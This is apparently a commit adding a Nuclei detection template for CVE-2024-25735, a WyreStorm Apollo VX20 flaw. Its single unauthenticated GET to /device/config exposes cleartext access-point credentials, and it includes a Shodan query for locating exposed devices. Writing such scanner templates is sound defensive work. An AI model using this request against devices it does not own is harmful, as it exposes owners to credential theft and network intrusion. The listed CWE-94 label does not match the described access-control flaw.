Create CVE-2024-25735.yaml

http/cves/2024/CVE-2024-25735.yaml

@@ -0,0 +1,31 @@
+id: CVE-2024-25735
+info:
+  name: WyreStorm Apollo VX20 - Incorrect Access Control
+  author: johnk3r
+  severity: high
+  description: An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.
+  reference:
+    - https://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
+  classification:
+    cvss-metrics: AV:N/AC:L/Au:N/C:C/I:C/A:C
+    cvss-score: 10.0
+    cwe-id: CWE-94
+    cve-id: CVE-2024-25735
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: WyreStorm
+    product: Apollo VX20
+    shodan-query: ssl:"WyreStorm Apollo VX20"
+  tags: cve,cve2024,wyrestorm
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/device/config"
+
+    matchers:
+      - type: word
+        words:
+          - "password"
+          - "softAp"